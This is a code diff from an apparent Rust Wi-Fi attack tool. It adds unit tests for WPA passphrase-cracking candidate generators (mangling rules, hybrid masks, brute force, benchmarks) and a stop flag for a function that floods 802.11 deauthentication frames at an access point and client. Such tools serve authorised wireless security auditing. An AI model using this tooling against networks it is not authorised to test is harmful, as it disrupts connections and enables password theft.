1680+ ("r", b"password", b"drowssap"),
1681+ ("d", b"password", b"passwordpassword"),
1682+ ("$1", b"password", b"password1"),
1683+ ("^1", b"password", b"1password"),
1684+ ("[", b"password1", b"assword1"),
1685+ ("]", b"password1", b"password"),
1686+ ("so0", b"password05", b"passw0rd05"),
1687+ // Compound: capitalize, append "1", append "!" — the classic
1688+ // "Password1!" family from an 8-char base word.
1689+ ("c $1 $!", b"password", b"Password1!"),
1690+ ];
1691+ for (rule_text, input, want) in cases {
1692+ let ops = parse_rule_line(rule_text.as_bytes(), 0).unwrap();
1693+ assert_eq!(
1694+ apply_rule(&ops, input).as_deref(),
1695+ Some(&want[..]),
1696+ "rule {rule_text:?} on {input:?}"
1697+ );
1698+ }
1699+ // Outputs outside 8..=63 are filtered (but consume the index).
1700+ let ops = parse_rule_line(b"]", 0).unwrap();
1701+ assert_eq!(apply_rule(&ops, b"12345678"), None); // 7 < 8
1702+ let ops = parse_rule_line(b"d d d", 0).unwrap();
1703+ assert_eq!(apply_rule(&ops, b"12345678901234"), None); // 14*8 = 112 > 63
1704+ }
1705+
1706+ #[test]
1707+ fn parse_rules_skips_comments_and_blanks() {
1708+ let dir = std::env::temp_dir();
1709+ let path = dir.join(format!("wifilab-rules-{}", std::process::id()));
1710+ std::fs::write(&path, "# comment\n\n:\nl\n$1\n# another\nso0\n").unwrap();
1711+ let rules = parse_rules(&path).unwrap();
1712+ assert_eq!(rules.len(), 4);
1713+ assert_eq!(rule_count(&path).unwrap(), 4);
1714+ let _ = std::fs::remove_file(&path);
1715+ }
1716+
1717+ #[test]
1718+ fn rule_iter_flatten_and_resume_continuation() {
1719+ // 3 words × 2 rules: flattened order is word-major / rule-minor.
1720+ let words: Vec<Vec<u8>> =
1721+ vec![b"password".to_vec(), b"letmein1".to_vec(), b"hunter22".to_vec()];
1722+ let rules = std::rc::Rc::new(vec![
1723+ parse_rule_line(b":", 0).unwrap(),
1724+ parse_rule_line(b"$1", 0).unwrap(),
1725+ ]);
1726+ let collect_from = |it: &mut dyn Iterator<Item = Vec<u8>>| -> Vec<Vec<u8>> { it.collect() };
1727+ let mut full = RuleIter::new(
1728+ Box::new(words.clone().into_iter()),
1729+ rules.clone(),
1730+ );
1731+ let got = collect_from(&mut full);
1732+ assert_eq!(
1733+ got,
1734+ vec![
1735+ b"password".to_vec(),
1736+ b"password1".to_vec(),
1737+ b"letmein1".to_vec(),
1738+ b"letmein11".to_vec(),
1739+ b"hunter22".to_vec(),
1740+ b"hunter221".to_vec(),
1741+ ]
1742+ );
1743+ // Resume: skip_n(3) must continue exactly with candidate #3.
1744+ let mut resumed = RuleIter::new(
1745+ Box::new(words.into_iter()),
1746+ rules,
1747+ );
1748+ skip_n(&mut resumed, 3);
1749+ assert_eq!(
1750+ collect_from(&mut resumed),
1751+ vec![b"letmein11".to_vec(), b"hunter22".to_vec(), b"hunter221".to_vec()]
1752+ );
1753+ }
1754+
1755+ #[test]
1756+ fn hybrid_space_math_and_order() {
1757+ // charset {0,1}, k in 1..=2: per-word = 2 + 4 = 6.
1758+ let words: Vec<Vec<u8>> = vec![b"password".to_vec()];
1759+ let mut it = HybridIter::new(Box::new(words.into_iter()), b"01".to_vec(), 1, 2).unwrap();
1760+ assert_eq!(it.per_word(), 6);
1761+ let got: Vec<Vec<u8>> = it.by_ref().collect();
1762+ assert_eq!(
1763+ got,
1764+ vec![
1765+ b"password0".to_vec(),
1766+ b"password1".to_vec(),
1767+ b"password00".to_vec(),
1768+ b"password01".to_vec(),
1769+ b"password10".to_vec(),
1770+ b"password11".to_vec(),
1771+ ],
1772+ "k-blocks ascending, odometer little-endian within a block"
1773+ );
1774+ }
1775+
1776+ #[test]
1777+ fn hybrid_seek_flat_continuation() {
1778+ // 2 words, per_word 6: full space is 12 candidates.
1779+ let words: Vec<Vec<u8>> = vec![b"password".to_vec(), b"hunter22".to_vec()];
1780+ let reference: Vec<Vec<u8>> =
1781+ HybridIter::new(Box::new(words.clone().into_iter()), b"ab".to_vec(), 1, 2)
1782+ .unwrap()
1783+ .collect();
1784+ assert_eq!(reference.len(), 12);
1785+ for n in [0u64, 1, 5, 6, 7, 11] {
1786+ let mut it =
1787+ HybridIter::new(Box::new(words.clone().into_iter()), b"ab".to_vec(), 1, 2).unwrap();
1788+ it.seek_flat(n);
1789+ let got: Vec<Vec<u8>> = it.collect();
1790+ assert_eq!(got, reference[n as usize..], "seek_flat({n})");
1791+ }
1792+ // Past the end: empty.
1793+ let mut it =
1794+ HybridIter::new(Box::new(words.into_iter()), b"ab".to_vec(), 1, 2).unwrap();
1795+ it.seek_flat(12);
1796+ assert_eq!(it.next(), None);
1797+ }
1798+
1799+ #[test]
1800+ fn hybrid_skips_overlong_but_consumes_index() {
1801+ // A 63-byte word + any suffix exceeds 63 → candidates filtered,
1802+ // but flattened slots still consumed: seeking past the first
1803+ // word's 6 slots lands at the second word's first candidate.
1804+ let long_word = vec![b'x'; 63];
1805+ let words: Vec<Vec<u8>> = vec![long_word, b"password".to_vec()];
1806+ let mut it = HybridIter::new(Box::new(words.into_iter()), b"ab".to_vec(), 1, 2).unwrap();
1807+ it.seek_flat(6);
1808+ assert_eq!(it.next().unwrap(), b"passworda");
1809+ }
1810+
1811+ #[test]
1812+ fn freq_order_puts_common_first_and_seeks() {
1813+ // Charset with members ranked differently in FREQ_ORDER: 'e'
1814+ // (rank 0) precedes 'z' (absent→end) regardless of input order.
1815+ let bf = BruteForce::new(b"ze".to_vec(), 8, 8, true).unwrap();
1816+ let first: Vec<Vec<u8>> = bf.take(4).collect();
1817+ assert_eq!(first[0], b"eeeeeeee");
1818+ assert_eq!(first[1], b"eeeeeeez");
1819+ assert_eq!(first[2], b"eeeeeeze");
1820+ assert_eq!(first[3], b"eeeeeezz");
1821+ // Sanitizer: the space is still a bijection (size + seek match
1822+ // the lexicographic construction).
1823+ let freq: Vec<Vec<u8>> = BruteForce::new(b"wze1".to_vec(), 8, 8, true).unwrap().collect();
1824+ let mut plain: Vec<Vec<u8>> =
1825+ BruteForce::new(b"wze1".to_vec(), 8, 8, false).unwrap().collect();
1826+ plain.sort();
1827+ let mut freq_sorted = freq.clone();
1828+ freq_sorted.sort();
1829+ assert_eq!(plain, freq_sorted, "freq_order must be a permutation");
1830+ // seek(n) then iterate == skip n from start.
1831+ for n in [0u64, 3, 255] {
1832+ let mut s = BruteForce::new(b"wze1".to_vec(), 8, 8, true).unwrap();
1833+ s.seek(n);
1834+ let got: Vec<Vec<u8>> = s.by_ref().take(3).collect();
1835+ assert_eq!(got, freq[n as usize..(n as usize + 3).min(freq.len())], "seek({n})");
1836+ }
1837+ }
1838+
1839+ #[test]
1840+ fn cache_skip_iter_filters_covered() {
1841+ let words: Vec<Vec<u8>> = vec![
1842+ b"password".to_vec(),
1843+ b"letmein1".to_vec(),
1844+ b"hunter22".to_vec(),
1845+ ];
1846+ let covered: HashSet<Box<[u8]>> = [b"letmein1".as_slice().into(), b"hunter22".as_slice().into()]
1847+ .into_iter()
1848+ .collect();
1849+ let it = CacheSkipIter::new(words.into_iter(), covered);
1850+ assert_eq!(it.collect::<Vec<_>>(), vec![b"password".to_vec()]);
1851+ // Empty coverage = pass-through.
1852+ let words2: Vec<Vec<u8>> = vec![b"password".to_vec()];
1853+ let it2 = CacheSkipIter::new(words2.into_iter(), HashSet::new());
1854+ assert_eq!(it2.count(), 1);
1855+ }
1856+
1857+ #[test]
1858+ fn benchmark_cpu_half_returns_positive_hps() {
1859+ // A ~0.1 s micro-run MUST return a positive throughput number
1860+ // without needing a GPU.
1861+ let hps = bench_cpu(0.1, None);
1862+ assert!(hps > 0.0, "cpu benchmark returned {hps}");
1863+ }
1864+
1865+ #[test]
1866+ fn spawn_benchmark_terminates_with_benchmark_done() {
1867+ // Contract: exactly one BenchmarkDone terminator arrives. A GPU
1868+ // adapter (when present) may need a while for the first dispatch,
1869+ // so wait generously before declaring a hang.
1870+ let (tx, rx) = crossbeam_channel::unbounded();
1871+ let stop = spawn_benchmark(1, tx);
1872+ let deadline = Instant::now() + Duration::from_secs(120);
1873+ let mut done_seen = false;
1874+ while Instant::now() < deadline {
1875+ match rx.recv_timeout(deadline.duration_since(Instant::now())) {
1876+ Ok(Event::BenchmarkDone { cpu_hps, .. }) => {
1877+ assert!(cpu_hps > 0.0);
1878+ done_seen = true;
1879+ break;
1880+ }
1881+ Ok(Event::Error(e)) => panic!("benchmark error: {e}"),
1882+ Ok(_) => {} // Log line
1883+ Err(_) => break,
1884+ }
1885+ }
1886+ assert!(done_seen, "no BenchmarkDone within 120 s");
1887+ drop(stop);
1888+ }
1889+}
src/deauth.rsmodified+8 -2
@@ -4,6 +4,7 @@
4 //! target only gets the AP-side broadcasted deauth — there is no sane4 //! target only gets the AP-side broadcasted deauth — there is no sane
5 //! reverse direction for the broadcast address.5 //! reverse direction for the broadcast address.
6 6
7+use std::sync::atomic::{AtomicBool, Ordering};
7 use std::thread::sleep;8 use std::thread::sleep;
8 use std::time::Duration;9 use std::time::Duration;
9 10
@@ -58,6 +59,8 @@ fn frame_plan(ap: &MacAddr, target: &MacAddr) -> Vec<Vec<u8>> {
58 /// a [`Event::DeauthSent`] progress event every 32 sent frames.59 /// a [`Event::DeauthSent`] progress event every 32 sent frames.
59 ///60 ///
60 /// Retries briefly on EAGAIN (driver TX ring full); any other error aborts.61 /// Retries briefly on EAGAIN (driver TX ring full); any other error aborts.
62+/// `stop` is checked per round: when set, the blast breaks cleanly — a
63+/// long blast must not block the service command loop on scan restart.
61 /// Returns frames actually written to the wire.64 /// Returns frames actually written to the wire.
62 pub fn blast(65 pub fn blast(
63 sock: &RawSocket,66 sock: &RawSocket,
@@ -65,12 +68,16 @@ pub fn blast(
65 target: &MacAddr,68 target: &MacAddr,
66 count: u32,69 count: u32,
67 tx: &Sender<Event>,70 tx: &Sender<Event>,
71+ stop: &AtomicBool,
68 ) -> Result<u64> {72 ) -> Result<u64> {
69 let frames = frame_plan(ap, target);73 let frames = frame_plan(ap, target);
70 let mut sent: u64 = 0;74 let mut sent: u64 = 0;
71 let mut last_report: u64 = 0;75 let mut last_report: u64 = 0;
72 76
73- for round in 0..count {77+ for _ in 0..count {
78+ if stop.load(Ordering::Relaxed) {
79+ break;
80+ }
74 for f in &frames {81 for f in &frames {
75 // EAGAIN-aware send: bounded backoff (~5 × 2 ms), then give up.82 // EAGAIN-aware send: bounded backoff (~5 × 2 ms), then give up.
76 let mut attempt = 0;83 let mut attempt = 0;
@@ -101,7 +108,6 @@ pub fn blast(
101 }108 }
102 sleep(PACE);109 sleep(PACE);
103 }110 }
104- let _ = round;
105 }111 }
106 112
107 // Final report so the UI sees the exact total even under REPORT_EVERY.113 // Final report so the UI sees the exact total even under REPORT_EVERY.